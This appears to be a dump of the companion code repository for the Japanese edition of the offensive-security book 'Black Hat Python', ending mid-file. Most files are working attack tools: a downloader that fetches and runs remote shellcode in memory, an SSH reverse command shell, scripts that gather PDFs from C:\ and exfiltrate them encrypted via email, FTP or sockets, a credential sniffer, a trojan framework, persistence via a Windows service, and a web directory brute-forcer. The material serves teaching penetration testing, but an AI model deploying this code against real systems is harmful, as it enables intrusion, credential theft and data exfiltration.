├── .gitignore ├── appendix-C ├── accountlist.txt ├── get_from_web.py └── twitter_ioc_crawler.py ├── chapter-07 ├── abc.json ├── environment.py ├── dirlister.py └── github_trojan.py ├── chapter-04 ├── pcap.pcap ├── mail_sniffer1.py ├── mail_sniffer2.py ├── detector.py ├── recapper.py └── arper.py ├── black-hat-python-2e-ja.png ├── chapter-02 ├── udp_client.py ├── tcp_client.py ├── tcp_server.py ├── ssh_cmd.py ├── ssh_rcmd.py ├── ssh_server.py ├── proxy.py └── netcat.py ├── chapter-01 └── scan.py ├── chapter-05 ├── htmlparser-test.py ├── bruter.py ├── mapper.py └── wp_killer.py ├── chapter-09 ├── transmit_exfil.py ├── email_exfil.py ├── exfil.py ├── cryptor.py └── paste_exfil.py ├── chapter-03 ├── sniffer.py ├── sniffer_ip_header_parse.py ├── sniffer_ip_header_parse_ctypes.py ├── sniffer_with_icmp.py └── scanner.py ├── chapter-08 ├── shell_exec.py ├── screenshotter.py ├── keylogger.py └── sandbox_detect.py ├── chapter-10 ├── process_monitor1.py ├── bhservice.py ├── process_monitor2.py ├── bhservice_task.vbs ├── file_monitor1.py └── file_monitor2.py ├── chapter-06 ├── bhp_fuzzer.py ├── bhp_wordlist.py └── bhp_bing.py ├── README.md ├── chapter-11 └── aslrcheck.py ├── appendix-B └── get_opendir.py └── appendix-A └── bhp_slack.py /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | *~ 3 | -------------------------------------------------------------------------------- /appendix-C/accountlist.txt: -------------------------------------------------------------------------------- 1 | TrendMicroRSRCH -------------------------------------------------------------------------------- /chapter-07/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"module": "dirlister"}, 3 | {"module": "environment"} 4 | ] -------------------------------------------------------------------------------- /chapter-04/pcap.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oreilly-japan/black-hat-python-2e-ja/HEAD/chapter-04/pcap.pcap -------------------------------------------------------------------------------- /black-hat-python-2e-ja.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oreilly-japan/black-hat-python-2e-ja/HEAD/black-hat-python-2e-ja.png -------------------------------------------------------------------------------- /chapter-07/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(**args): 4 | print("[*] In environment module.") 5 | return os.environ 6 | -------------------------------------------------------------------------------- /chapter-07/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(**args): 4 | print("[*] In dirlister module.") 5 | files = os.listdir(".") 6 | return str(files) 7 | 8 | -------------------------------------------------------------------------------- /chapter-04/mail_sniffer1.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff 2 | 3 | def packet_callback(packet): 4 | print(packet.show()) 5 | 6 | def main(): 7 | sniff(prn=packet_callback, count=1) 8 | 9 | 10 | if __name__ == '__main__': 11 | main() -------------------------------------------------------------------------------- /chapter-02/udp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | HOST = '127.0.0.1' 4 | PORT = 9997 5 | 6 | client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 7 | client.sendto(b'AAABBBCCC', (HOST, PORT)) 8 | 9 | data, address = client.recvfrom(4096) 10 | print(data.decode('utf-8')) 11 | print(address) 12 | 13 | client.close() -------------------------------------------------------------------------------- /chapter-01/scan.py: -------------------------------------------------------------------------------- 1 | from lxml import etree 2 | from subprocess import Popen 3 | 4 | import argparse 5 | import os 6 | 7 | def get_ip(machine_name): 8 | pass 9 | 10 | class Scanner: 11 | def __init__(self): 12 | pass 13 | 14 | if __name__ == '__main__': 15 | scan = Scanner() 16 | print('hello') 17 | -------------------------------------------------------------------------------- /chapter-02/tcp_client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | target_host = "www.google.com" 4 | target_port = 80 5 | 6 | # ソケットオブジェクトの作成 7 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | 9 | # サーバーへ接続 10 | client.connect((target_host,target_port)) 11 | 12 | # データの送信 13 | client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") 14 | 15 | # データの受信 16 | response = client.recv(4096) 17 | 18 | print(response.decode()) 19 | client.close() -------------------------------------------------------------------------------- /chapter-05/htmlparser-test.py: -------------------------------------------------------------------------------- 1 | from html.parser import HTMLParser 2 | 3 | class MyHTMLParser(HTMLParser): 4 | def handle_starttag(self, tag, attrs): 5 | print(f"handle_starttag => tag 変数は {tag}") 6 | 7 | def handle_data(self, data): 8 | print(f"handle_data => data 変数は {data}") 9 | 10 | def handle_endtag(self, tag): 11 | print(f"handle_endtag => tag 変数は {tag}") 12 | 13 | parser = MyHTMLParser() 14 | parser.feed('Python rocks!') -------------------------------------------------------------------------------- /chapter-04/mail_sniffer2.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sniff, TCP, IP 2 | 3 | # パケット受信用コールバック 4 | def packet_callback(packet): 5 | if packet[TCP].payload: 6 | mypacket = str(packet[TCP].payload) 7 | if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): 8 | print(f"[*] Destination: {packet[IP].dst}") 9 | print(f"[*] {str(packet[TCP].payload)}") 10 | 11 | 12 | def main(): 13 | # スニッファーを起動 14 | sniff(filter='tcp port 110 or tcp port 25 or tcp port 143', prn=packet_callback, store=0) 15 | 16 | if __name__ == '__main__': 17 | main() -------------------------------------------------------------------------------- /chapter-09/transmit_exfil.py: -------------------------------------------------------------------------------- 1 | import ftplib 2 | import os 3 | import socket 4 | import win32file 5 | 6 | 7 | def plain_ftp(docpath, server='192.168.1.203'): 8 | ftp = ftplib.FTP(server) 9 | ftp.login("anonymous", "anon@example.com") 10 | ftp.cwd('/pub/') 11 | ftp.storbinary("STOR " + os.path.basename(docpath), 12 | open(docpath, "rb"), 1024) 13 | ftp.quit() 14 | 15 | 16 | def transmit(document_path): 17 | client = socket.socket() 18 | client.connect(('192.168.1.207', 10000)) 19 | with open(document_path, 'rb') as f: 20 | win32file.TransmitFile( 21 | client, 22 | win32file._get_osfhandle(f.fileno()), 23 | 0, 0, None, 0, b'', b'') 24 | 25 | 26 | if __name__ == '__main__': 27 | transmit('./mysecrets.txt') -------------------------------------------------------------------------------- /chapter-02/tcp_server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import threading 3 | 4 | IP = '0.0.0.0' 5 | PORT = 9998 6 | 7 | 8 | def main(): 9 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | server.bind((IP, PORT)) 11 | server.listen(5) 12 | print(f'[*] Listening on {IP}:{PORT}') 13 | 14 | while True: 15 | client, address = server.accept() 16 | print(f'[*] Accepted connection from {address[0]}:{address[1]}') 17 | client_handler = threading.Thread(target=handle_client, args=(client,)) 18 | client_handler.start() 19 | 20 | 21 | def handle_client(client_socket): 22 | with client_socket as sock: 23 | request = sock.recv(1024) 24 | print(f'[*] Received: {request.decode("utf-8")}') 25 | sock.send(b'ACK') 26 | 27 | 28 | if __name__ == '__main__': 29 | main() 30 | -------------------------------------------------------------------------------- /chapter-03/sniffer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import os 3 | 4 | # リッスンするホストのIPアドレス 5 | HOST = '192.168.1.203' 6 | 7 | def main(): 8 | # rawソケットを作成しパブリックなインタフェースにバインド 9 | if os.name == 'nt': 10 | socket_protocol = socket.IPPROTO_IP 11 | else: 12 | socket_protocol = socket.IPPROTO_ICMP 13 | 14 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 15 | sniffer.bind((HOST, 0)) 16 | # キャプチャー結果にIPヘッダーを含めるように指定 17 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 18 | 19 | if os.name == 'nt': 20 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 21 | 22 | # 単一パケットの読み込み 23 | print(sniffer.recvfrom(65565)) 24 | 25 | # Windowsの場合はプロミスキャスモードを無効化 26 | if os.name == 'nt': 27 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 28 | 29 | 30 | if __name__ == '__main__': 31 | main() -------------------------------------------------------------------------------- /chapter-02/ssh_cmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import paramiko 3 | 4 | def ssh_command(ip, port, user, passwd, cmd): 5 | client = paramiko.SSHClient() 6 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 7 | client.connect(ip, port=port, username=user, password=passwd) 8 | 9 | _, stdout, stderr = client.exec_command(cmd) 10 | output = stdout.readlines() + stderr.readlines() 11 | if output: 12 | print('--- Output ---') 13 | for line in output: 14 | print(line.strip()) 15 | 16 | if __name__ == '__main__': 17 | import getpass 18 | # user = getpass.getuser() 19 | user = input('Username: ') 20 | password = getpass.getpass() 21 | 22 | ip = input('Enter server IP: ') or '192.168.1.203' 23 | port = input('Enter port or : ') or 2222 24 | cmd = input('Enter command or : ') or 'id' 25 | ssh_command(ip, port, user, password, cmd) 26 | -------------------------------------------------------------------------------- /chapter-08/shell_exec.py: -------------------------------------------------------------------------------- 1 | from urllib import request 2 | 3 | import base64 4 | import ctypes 5 | 6 | 7 | kernel32 = ctypes.windll.kernel32 8 | 9 | 10 | def get_code(url): 11 | with request.urlopen(url) as response: 12 | shellcode = base64.decodebytes(response.read()) 13 | return shellcode 14 | 15 | 16 | def write_memory(buf): 17 | length = len(buf) 18 | 19 | kernel32.VirtualAlloc.restype = ctypes.c_void_p 20 | kernel32.RtlMoveMemory.argtypes = ( 21 | ctypes.c_void_p, 22 | ctypes.c_void_p, 23 | ctypes.c_size_t) 24 | 25 | ptr = kernel32.VirtualAlloc(None, length, 0x3000, 0x40) 26 | kernel32.RtlMoveMemory(ptr, buf, length) 27 | return ptr 28 | 29 | 30 | def run(shellcode): 31 | buffer = ctypes.create_string_buffer(shellcode) 32 | ptr = write_memory(buffer) 33 | shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None)) 34 | shell_func() 35 | 36 | 37 | if __name__ == '__main__': 38 | url = "http://192.168.1.203:8000/my32shellcode.bin" 39 | shellcode = get_code(url) 40 | run(shellcode) -------------------------------------------------------------------------------- /chapter-09/email_exfil.py: -------------------------------------------------------------------------------- 1 | import smtplib 2 | import time 3 | import win32com.client 4 | 5 | smtp_server = 'smtp.example.com' 6 | smtp_port = 587 7 | smtp_acct = 'tim@example.com' 8 | smtp_password = 'seKret' 9 | tgt_accts = ['tim@elsewhere.com'] 10 | 11 | 12 | def plain_email(subject, contents): 13 | message = f'Subject: {subject}\nFrom: {smtp_acct}\n' 14 | message += f'To: {", ".join(tgt_accts)}\n\n{contents.decode()}' 15 | server = smtplib.SMTP(smtp_server, smtp_port) 16 | server.starttls() 17 | server.login(smtp_acct, smtp_password) 18 | 19 | # server.set_debuglevel(1) 20 | server.sendmail(smtp_acct, tgt_accts, message) 21 | time.sleep(1) 22 | server.quit() 23 | 24 | 25 | def outlook(subject, contents): 26 | outlook = win32com.client.Dispatch("Outlook.Application") 27 | message = outlook.CreateItem(0) 28 | message.DeleteAfterSubmit = True 29 | message.Subject = subject 30 | message.Body = contents.decode() 31 | message.To = tgt_accts[0] 32 | message.Send() 33 | 34 | 35 | if __name__ == '__main__': 36 | plain_email('test2 message', b'attack at dawn.') 37 | -------------------------------------------------------------------------------- /chapter-04/detector.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | import os 3 | 4 | ROOT = '/home/kali/pictures' 5 | FACES = '/home/kali/faces' 6 | TRAIN = '/home/kali/training' 7 | 8 | 9 | def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): 10 | for fname in os.listdir(srcdir): 11 | if not fname.upper().endswith('.JPEG'): 12 | continue 13 | fullname = os.path.join(srcdir, fname) 14 | newname = os.path.join(tgtdir, fname) 15 | img = cv2.imread(fullname) 16 | if img is None: 17 | continue 18 | 19 | gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) 20 | training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') 21 | cascade = cv2.CascadeClassifier(training) 22 | rects = cascade.detectMultiScale(gray, 1.3, 5) 23 | try: 24 | if rects.any(): 25 | print('got a face') 26 | rects[:, 2:] += rects[:, :2] 27 | except AttributeError: 28 | print(f'No faces found in {fname}.') 29 | continue 30 | 31 | # 画像内の顔の周りに四角形を描画 32 | for x1, y1, x2, y2 in rects: 33 | cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) 34 | cv2.imwrite(newname, img) 35 | 36 | if __name__ == '__main__': 37 | detect() 38 | -------------------------------------------------------------------------------- /chapter-10/process_monitor1.py: -------------------------------------------------------------------------------- 1 | import win32api 2 | import win32con 3 | import win32security 4 | import wmi 5 | 6 | 7 | def log_to_file(message): 8 | with open('process_monitor_log.csv', 'a') as fd: 9 | fd.write(f'{message}\r\n') 10 | 11 | 12 | def monitor(): 13 | head = ('CommandLine, Time, Executable, Parent PID, PID, User, ' 14 | 'Privileges') 15 | log_to_file(head) 16 | c = wmi.WMI() 17 | process_watcher = c.Win32_Process.watch_for('creation') 18 | while True: 19 | try: 20 | new_process = process_watcher() 21 | cmdline = new_process.CommandLine 22 | create_date = new_process.CreationDate 23 | executable = new_process.ExecutablePath 24 | parent_pid = new_process.ParentProcessId 25 | pid = new_process.ProcessId 26 | proc_owner = new_process.GetOwner() 27 | 28 | privileges = 'N/A' 29 | process_log_message = ( 30 | f'{cmdline} , {create_date} , {executable},' 31 | f'{parent_pid} , {pid} , {proc_owner} , {privileges}' 32 | ) 33 | print(process_log_message) 34 | print() 35 | log_to_file(process_log_message) 36 | except Exception: 37 | pass 38 | 39 | 40 | if __name__ == '__main__': 41 | monitor() -------------------------------------------------------------------------------- /chapter-08/screenshotter.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import win32api 3 | import win32con 4 | import win32gui 5 | import win32ui 6 | 7 | 8 | def get_dimensions(): 9 | PROCESS_PER_MONITOR_DPI_AWARE = 2 10 | ctypes.windll.shcore.SetProcessDpiAwareness(PROCESS_PER_MONITOR_DPI_AWARE) 11 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 12 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 13 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 14 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 15 | return (width, height, left, top) 16 | 17 | 18 | def screenshot(name='screenshot'): 19 | hdesktop = win32gui.GetDesktopWindow() 20 | width, height, left, top = get_dimensions() 21 | 22 | desktop_dc = win32gui.GetWindowDC(hdesktop) 23 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 24 | mem_dc = img_dc.CreateCompatibleDC() 25 | 26 | screenshot = win32ui.CreateBitmap() 27 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 28 | mem_dc.SelectObject(screenshot) 29 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 30 | screenshot.SaveBitmapFile(mem_dc, f'{name}.bmp') 31 | 32 | mem_dc.DeleteDC() 33 | win32gui.DeleteObject(screenshot.GetHandle()) 34 | 35 | 36 | def run(): 37 | screenshot() 38 | with open('screenshot.bmp') as f: 39 | img = f.read() 40 | return img 41 | 42 | 43 | if __name__ == '__main__': 44 | screenshot() -------------------------------------------------------------------------------- /chapter-02/ssh_rcmd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import locale 3 | import os 4 | import paramiko 5 | import shlex 6 | import subprocess 7 | 8 | 9 | def ssh_command(ip, port, user, passwd, command): 10 | client = paramiko.SSHClient() 11 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 12 | client.connect(ip, port=port, username=user, password=passwd) 13 | 14 | ssh_session = client.get_transport().open_session() 15 | if ssh_session.active: 16 | ssh_session.send(command) 17 | print(ssh_session.recv(1024).decode()) # read banner 18 | while True: 19 | command = ssh_session.recv(1024) 20 | try: 21 | cmd = command.decode() 22 | if cmd == 'exit': 23 | client.close() 24 | break 25 | cmd_output = subprocess.check_output(cmd, shell=True) 26 | if os.name == 'nt' and locale.getdefaultlocale() == ('ja_JP', 'cp932'): 27 | cmd_output = cmd_output.decode('cp932') 28 | ssh_session.send(cmd_output or 'okay') 29 | except Exception as e: 30 | ssh_session.send(str(e)) 31 | client.close() 32 | return 33 | 34 | 35 | if __name__ == '__main__': 36 | import getpass 37 | user = input('Username: ') 38 | password = getpass.getpass() 39 | 40 | ip = input('Enter server IP: ') 41 | port = input('Enter port: ') 42 | ssh_command(ip, port, user, password, 'ClientConnected') 43 | -------------------------------------------------------------------------------- /chapter-09/exfil.py: -------------------------------------------------------------------------------- 1 | from cryptor import encrypt 2 | from email_exfil import outlook, plain_email 3 | from transmit_exfil import plain_ftp, transmit 4 | from paste_exfil import ie_paste, plain_paste 5 | 6 | import os 7 | from os.path import join, basename 8 | 9 | 10 | EXFIL = { 11 | 'outlook': outlook, 12 | 'plain_email': plain_email, 13 | 'plain_ftp': plain_ftp, 14 | 'transmit': transmit, 15 | 'ie_paste': ie_paste, 16 | 'plain_paste': plain_paste, 17 | } 18 | 19 | 20 | def find_docs(doc_type='.pdf'): 21 | for parent, _, filenames in os.walk('c:\\'): 22 | for filename in filenames: 23 | if filename.endswith(doc_type): 24 | document_path = join(parent, filename) 25 | yield document_path 26 | 27 | 28 | def exfiltrate(document_path, method): 29 | if method in ['transmit', 'plain_ftp']: 30 | filename = f'c:\\windows\\temp\\{basename(document_path)}' 31 | with open(document_path, 'rb') as f0: 32 | contents = f0.read() 33 | with open(filename, 'wb') as f1: 34 | f1.write(encrypt(contents)) 35 | 36 | EXFIL[method](filename) 37 | os.unlink(filename) 38 | else: 39 | with open(document_path, 'rb') as f: 40 | contents = f.read() 41 | title = basename(document_path) 42 | contents = encrypt(contents) 43 | EXFIL[method](title, contents) 44 | 45 | 46 | if __name__ == '__main__': 47 | for fpath in find_docs(): 48 | exfiltrate(fpath, 'plain_paste') -------------------------------------------------------------------------------- /chapter-10/bhservice.py: -------------------------------------------------------------------------------- 1 | import os 2 | import servicemanager 3 | import shutil 4 | import subprocess 5 | import sys 6 | 7 | import win32event 8 | import win32service 9 | import win32serviceutil 10 | 11 | SRCDIR = 'C:\\Users\\IEUser' 12 | TGTDIR = 'C:\\Windows\\TEMP' 13 | 14 | class BHServerSvc(win32serviceutil.ServiceFramework): 15 | _svc_name_ = "BlackHatService" 16 | _svc_display_name_ = "Black Hat Service" 17 | _svc_description_ = ("Executes VBScripts at regular intervals." + 18 | " What could possibly go wrong?") 19 | 20 | def __init__(self, args): 21 | self.vbs = os.path.join(TGTDIR, 'bhservice_task.vbs') 22 | self.timeout = 1000 * 60 23 | 24 | win32serviceutil.ServiceFramework.__init__(self, args) 25 | self.hWaitStop = win32event.CreateEvent(None, 0, 0, None) 26 | 27 | def SvcStop(self): 28 | self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) 29 | win32event.SetEvent(self.hWaitStop) 30 | 31 | def SvcDoRun(self): 32 | self.ReportServiceStatus(win32service.SERVICE_RUNNING) 33 | self.main() 34 | 35 | def main(self): 36 | while True: 37 | ret_code = win32event.WaitForSingleObject(self.hWaitStop, self.timeout) 38 | if ret_code == win32event.WAIT_OBJECT_0: 39 | servicemanager.LogInfoMsg("Service is stopping") 40 | break 41 | 42 | src = os.path.join(SRCDIR, 'bhservice_task.vbs') 43 | shutil.copy(src, self.vbs) 44 | subprocess.call("cscript.exe %s" % self.vbs, shell=False) 45 | os.unlink(self.vbs) 46 | 47 | if __name__ == '__main__': 48 | if len(sys.argv) == 1: 49 | servicemanager.Initialize() 50 | servicemanager.PrepareToHostSingle(BHServerSvc) 51 | servicemanager.StartServiceCtrlDispatcher() 52 | else: 53 | win32serviceutil.HandleCommandLine(BHServerSvc) 54 | -------------------------------------------------------------------------------- /chapter-05/bruter.py: -------------------------------------------------------------------------------- 1 | import queue 2 | import requests 3 | import sys 4 | import threading 5 | 6 | AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" 7 | EXTENSIONS = ['.php', '.bak', '.orig', '.inc'] 8 | TARGET = "http://testphp.vulnweb.com" 9 | THREADS = 50 10 | WORDLIST = "/home/kali/Downloads/all.txt" 11 | 12 | 13 | def get_words(resume=None): 14 | def extend_words(word): 15 | if "." in word: 16 | words.put(f'/{word}') 17 | else: 18 | words.put(f'/{word}/') 19 | 20 | for extension in EXTENSIONS: 21 | words.put(f'/{word}{extension}') 22 | 23 | with open(WORDLIST) as f: 24 | raw_words = f.read() 25 | found_resume = False 26 | words = queue.Queue() 27 | for word in raw_words.split(): 28 | if resume is not None: 29 | if found_resume: 30 | extend_words(word) 31 | elif word == resume: 32 | found_resume = True 33 | print(f'Resuming wordlist from: {resume}') 34 | else: 35 | print(word) 36 | extend_words(word) 37 | return words 38 | 39 | 40 | def dir_bruter(words): 41 | headers = {'User-Agent': AGENT} 42 | while not words.empty(): 43 | url = f'{TARGET}{words.get()}' 44 | try: 45 | r = requests.get(url, headers=headers) 46 | except requests.exceptions.ConnectionError: 47 | sys.stderr.write('x') 48 | sys.stderr.flush() 49 | continue 50 | 51 | if r.status_code == 200: 52 | print(f'\nSuccess ({r.status_code}: {url})') 53 | elif r.status_code == 404: 54 | sys.stderr.write('.');sys.stderr.flush() 55 | else: 56 | print(f'{r.status_code} => {url}') 57 | 58 | 59 | if __name__ == '__main__': 60 | words = get_words() 61 | print('Press return to continue.') 62 | sys.stdin.readline() 63 | for _ in range(THREADS): 64 | t = threading.Thread(target=dir_bruter, args=(words,)) 65 | t.start() 66 | -------------------------------------------------------------------------------- /chapter-05/mapper.py: -------------------------------------------------------------------------------- 1 | import contextlib 2 | import os 3 | import queue 4 | import requests 5 | import sys 6 | import threading 7 | import time 8 | 9 | FILTERED = [".jpg", ".gif", ".png", ".css"] 10 | TARGET = "http://127.0.0.1:31337" 11 | THREADS = 10 12 | 13 | answers = queue.Queue() 14 | web_paths = queue.Queue() 15 | 16 | def gather_paths(): 17 | for root, _, files in os.walk('.'): 18 | for fname in files: 19 | if os.path.splitext(fname)[1] in FILTERED: 20 | continue 21 | path = os.path.join(root, fname) 22 | if path.startswith('.'): 23 | path = path[1:] 24 | print(path) 25 | web_paths.put(path) 26 | 27 | @contextlib.contextmanager 28 | def chdir(path): 29 | """ 30 | On enter, change directory to specified path. 31 | On exit, change directory back to original. 32 | """ 33 | this_dir = os.getcwd() 34 | os.chdir(path) 35 | try: 36 | yield 37 | finally: 38 | os.chdir(this_dir) 39 | 40 | def test_remote(): 41 | while not web_paths.empty(): 42 | path = web_paths.get() 43 | url = f'{TARGET}{path}' 44 | time.sleep(2) 45 | r = requests.get(url) 46 | if r.status_code == 200: 47 | answers.put(url) 48 | sys.stdout.write('+') 49 | else: 50 | sys.stdout.write('x') 51 | sys.stdout.flush() 52 | 53 | def run(): 54 | mythreads = list() 55 | for i in range(THREADS): 56 | print(f'Spawning thread {i}') 57 | t = threading.Thread(target=test_remote) 58 | mythreads.append(t) 59 | t.start() 60 | 61 | for thread in mythreads: 62 | thread.join() 63 | 64 | 65 | if __name__ == '__main__': 66 | with chdir("/home/kali/Downloads/wordpress/"): 67 | gather_paths() 68 | input('Press return to continue.') 69 | run() 70 | with open('myanswers.txt', 'w') as f: 71 | while not answers.empty(): 72 | f.write(f'{answers.get()}\n') 73 | print('done') -------------------------------------------------------------------------------- /chapter-09/cryptor.py: -------------------------------------------------------------------------------- 1 | from Cryptodome.Cipher import AES, PKCS1_OAEP 2 | from Cryptodome.PublicKey import RSA 3 | from Cryptodome.Random import get_random_bytes 4 | from io import BytesIO 5 | 6 | import base64 7 | import zlib 8 | 9 | 10 | def generate(): 11 | new_key = RSA.generate(2048) 12 | private_key = new_key.exportKey() 13 | public_key = new_key.publickey().exportKey() 14 | 15 | with open('key.pri', 'wb') as f: 16 | f.write(private_key) 17 | 18 | with open('key.pub', 'wb') as f: 19 | f.write(public_key) 20 | 21 | 22 | def get_rsa_cipher(keytype): 23 | with open(f'key.{keytype}') as f: 24 | key = f.read() 25 | rsakey = RSA.importKey(key) 26 | return (PKCS1_OAEP.new(rsakey), rsakey.size_in_bytes()) 27 | 28 | 29 | def encrypt(plaintext): 30 | compressed_text = zlib.compress(plaintext) 31 | 32 | session_key = get_random_bytes(16) 33 | cipher_aes = AES.new(session_key, AES.MODE_EAX) 34 | ciphertext, tag = cipher_aes.encrypt_and_digest(compressed_text) 35 | 36 | cipher_rsa, _ = get_rsa_cipher('pub') 37 | encrypted_session_key = cipher_rsa.encrypt(session_key) 38 | 39 | msg_payload = encrypted_session_key + \ 40 | cipher_aes.nonce + tag + ciphertext 41 | encrypted = base64.encodebytes(msg_payload) 42 | return(encrypted) 43 | 44 | 45 | def decrypt(encrypted): 46 | encrypted_bytes = BytesIO(base64.decodebytes(encrypted)) 47 | cipher_rsa, keysize_in_bytes = get_rsa_cipher('pri') 48 | 49 | encrypted_session_key = encrypted_bytes.read(keysize_in_bytes) 50 | nonce = encrypted_bytes.read(16) 51 | tag = encrypted_bytes.read(16) 52 | ciphertext = encrypted_bytes.read() 53 | 54 | session_key = cipher_rsa.decrypt(encrypted_session_key) 55 | cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce) 56 | decrypted = cipher_aes.decrypt_and_verify(ciphertext, tag) 57 | 58 | plaintext = zlib.decompress(decrypted) 59 | return plaintext 60 | 61 | 62 | if __name__ == '__main__': 63 | generate() 64 | plaintext = b'hey there you.' 65 | print(decrypt(encrypt(plaintext))) -------------------------------------------------------------------------------- /chapter-10/process_monitor2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | import win32api 5 | import win32con 6 | import win32security 7 | 8 | import wmi 9 | 10 | 11 | def get_process_privileges(pid): 12 | try: 13 | hproc = win32api.OpenProcess( 14 | win32con.PROCESS_QUERY_INFORMATION, False, pid) 15 | htok = win32security.OpenProcessToken( 16 | hproc, win32con.TOKEN_QUERY) 17 | privs = win32security.GetTokenInformation( 18 | htok, win32security.TokenPrivileges) 19 | privileges = '' 20 | for priv_id, flags in privs: 21 | if flags == win32security.SE_PRIVILEGE_ENABLED | win32security.SE_PRIVILEGE_ENABLED_BY_DEFAULT: 22 | privileges += f'{win32security.LookupPrivilegeName(None, priv_id)}|' 23 | except Exception: 24 | privileges = 'N/A' 25 | 26 | return privileges 27 | 28 | 29 | def log_to_file(message): 30 | with open('process_monitor_log.csv', 'a') as fd: 31 | fd.write(f'{message}\r\n') 32 | 33 | 34 | def monitor(): 35 | log_to_file( 36 | 'CommandLine, Time, Executable, Parent PID, PID, User, Privileges') 37 | c = wmi.WMI() 38 | process_watcher = c.Win32_Process.watch_for('creation') 39 | while True: 40 | try: 41 | new_process = process_watcher() 42 | cmdline = new_process.CommandLine 43 | create_date = new_process.CreationDate 44 | executable = new_process.ExecutablePath 45 | parent_pid = new_process.ParentProcessId 46 | pid = new_process.ProcessId 47 | proc_owner = new_process.GetOwner() 48 | 49 | privileges = get_process_privileges(pid) 50 | process_log_message = ( 51 | f'{cmdline} , {create_date} , {executable},' 52 | f'{parent_pid} , {pid} , {proc_owner} , {privileges}' 53 | ) 54 | print(process_log_message) 55 | print() 56 | log_to_file(process_log_message) 57 | except Exception: 58 | pass 59 | 60 | 61 | if __name__ == '__main__': 62 | monitor() 63 | -------------------------------------------------------------------------------- /chapter-02/ssh_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import paramiko 4 | import socket 5 | import sys 6 | import threading 7 | 8 | CWD = os.path.dirname(os.path.realpath(__file__)) 9 | HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD, 'test_rsa.key')) 10 | 11 | 12 | class Server (paramiko.ServerInterface): 13 | def _init_(self): 14 | self.event = threading.Event() 15 | 16 | def check_channel_request(self, kind, chanid): 17 | if kind == 'session': 18 | return paramiko.OPEN_SUCCEEDED 19 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 20 | 21 | def check_auth_password(self, username, password): 22 | if (username == 'tim') and (password == 'sekret'): 23 | return paramiko.AUTH_SUCCESSFUL 24 | 25 | 26 | if __name__ == '__main__': 27 | server = '192.168.1.207' 28 | ssh_port = 2222 29 | try: 30 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 31 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 32 | sock.bind((server, ssh_port)) 33 | sock.listen(100) 34 | print('[+] Listening for connection ...') 35 | client, addr = sock.accept() 36 | except Exception as e: 37 | print('[-] Listen failed: ' + str(e)) 38 | sys.exit(1) 39 | else: 40 | print(f'[+] Got a connection! from {addr}') 41 | 42 | bhSession = paramiko.Transport(client) 43 | bhSession.add_server_key(HOSTKEY) 44 | server = Server() 45 | bhSession.start_server(server=server) 46 | 47 | chan = bhSession.accept(20) 48 | if chan is None: 49 | print('*** No channel.') 50 | sys.exit(1) 51 | 52 | print('[+] Authenticated!') 53 | print(chan.recv(1024).decode()) 54 | chan.send('Welcome to bh_ssh') 55 | try: 56 | while True: 57 | command = input("Enter command: ") 58 | if command != 'exit': 59 | chan.send(command) 60 | r = chan.recv(8192) 61 | print(r.decode()) 62 | else: 63 | chan.send('exit') 64 | print('exiting') 65 | bhSession.close() 66 | break 67 | except KeyboardInterrupt: 68 | bhSession.close() 69 | -------------------------------------------------------------------------------- /chapter-03/sniffer_ip_header_parse.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | class IP: 8 | def __init__(self, buff=None): 9 | header = struct.unpack('> 4 11 | self.ihl = header[0] & 0xF 12 | 13 | self.tos = header[1] 14 | self.len = header[2] 15 | self.id = header[3] 16 | 